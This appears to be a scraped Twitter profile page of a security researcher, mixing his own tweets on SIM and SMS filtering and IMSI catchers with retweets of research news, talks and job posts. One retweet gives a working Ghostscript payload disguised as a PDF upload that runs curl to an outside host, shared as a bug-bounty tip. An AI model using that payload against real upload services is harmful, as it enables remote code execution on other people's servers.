MaXe

I'm an InterN0T'er.
The views and opinions here are my own and does not relate to anything that my employer does or will do.

[MaXe @InterN0T]

Review and verify the effectiveness of the SMS Filters currently implemented within your system(s). (2/2)

[MaXe @InterN0T]

Pro Tip: If you work at a Telco, maybe double check your installed TARs on your SIM cards one more time if you haven't tested them extensively. (1/2)

[Luigi Auriemma @luigi_auriemma]

The PDF with all the security vulnerabilities I found in multiplayer games when I was an independent researcher from 2001 to 2012:
https://t.co/8KicbSyzP6

[RuraPenthe / Dimitri @RuraPenthe0]

#FF @HackingDave @rewtd @IonTodd @yiannistox @yestinj @usintrust @unix_ninja @SecGus @SecEvangelism @g0tmi1k @hashcat @Karlouse @layle_ctf @dcuthbert @Po1Zon_P1x13 @InterN0T @showthread @BSidesLV @BSidesAth @m3g9tr0n

[MaXe @InterN0T]

@themarkashley @matthew_d_green @saleemrash1d EvilCorp is an alias for Enron.

[MaXe @InterN0T]

@benkow_ It's very normal for web shells to have some sort of protection, i.e. require authentication. If you do some statistical analysis you can probably find out what type of "threat actor" commonly uses this specific authentication method.

[MaXe @InterN0T]

@b0rk @rival_elf Furthermore, there are several other limitations you need to take care of for a real IMSI catcher to work, unless you buy the really expensive ones or implement one yourself. (i.e. Way beyond common guides, as 4G has mutual authentication between the client and the network.)

[MaXe @InterN0T]

@b0rk @rival_elf The 30$ "IMSI catcher" which can only passively sniff data from existing cell towers, and only up to around 10 channels reliably, does not capture all IMSI in range either if you just turn it on and sniff, as it relies on location updates and other certain types of network events

[MaXe @InterN0T]

@b0rk @rival_elf The $30 "IMSI catcher" is passive (i.e. relies on existing cell towers and how GSM works) and is not a cell tower / BTS.

A real IMSI catcher which is active, costs at least 300$ as you need a capable software defined radio that can transmit full duplex. (i.e. HackRF won't work)

[Orange Tsai 🍊 @orange_8361]

For non-native readers, this is a writeup of my DEVCORE Conference 2019 talk. Describe a misconfiguration that exposed a magic service on port 3097 on our country's largest ISP, and how we find RCE on that to affect more than 250,000 modems :P https://t.co/3S1P6YZfir

[Binni Shah @binitamshah]

Reverse Engineering & Code Emulation with Ghidra : https://t.co/bk3B6J9WVL (Slides)

Repo : A PCode Emulator for Ghidra : https://t.co/28Rx2Iro48 cc @kc0bfv

[huntmost @huntmost]

RCE on PDF upload:

Content-Disposition: form-data; name="fileToUpload"; filename="pwn.pdf"
Content-Type: application/pdf

%!PS
currentdevice null true mark /OutputICCProfile (%pipe%curl https://t.co/NhJ88DBQ2F) )
.putdeviceparams
quit

#BugBounty

[Azeria @Fox0x01]

Apple vs. Corellium

Unredacted version of Corellium’s legal answer is public https://t.co/JXoyk6yI8F

This entire lawsuit is an obvious attempt to decreases the value of Corellium to either
1) own them, or
2) put them out of business to prevent researchers from finding bugs

[Anton Ivanov @antonivanovm]

Chrome 0-day exploit was used in #WizardOpium operation. Details https://t.co/kDfXnZwWlM

[OffSec @offsectraining]

OffSec is hiring! We're looking for tech and training admins, a project editor, and a cyber security & policy engineer. These positions are remote. View the job descriptions on our Careers page: https://t.co/VjKCR1Ct7f
#techjobs #cybersecurityjobs

[Black Hat @BlackHatEvents]

Reminder: Call for Papers for Black Hat Europe 2019 is now open. If you’d like an opportunity to present your research in London in December, get your submission in before August 19. #BHEU

[偉 @_sinn3r]

Instead of going through a large codebase, sometimes I like to casually write some vulnerable C/C++ cases to play. Uploaded some to Github, hope this is fun for anybody interested in exploit dev: https://t.co/uTp2UKJry3

[Alisa Esage Шевченко @alisaesage]

I have reverse-engineered Qualcomm’s Linux kernel interfaces and the DIAG protocol to enable verbose logging of things such as physics variables from the radio interface, RTOS complaints, and OTA signals with PLMN from the baseband; a big deal for this crazy blackbox

[Alisa Esage Шевченко @alisaesage]

Previous low-q analyses of the RDP bug suggest that the real reason why some AV vendors jumped in first with an exploit demo is they caught the exploit in a honeypot, and repurposed shellcode to pop calc (which is trivial, as in copy-paste)

Note: I used to work at an AV vendor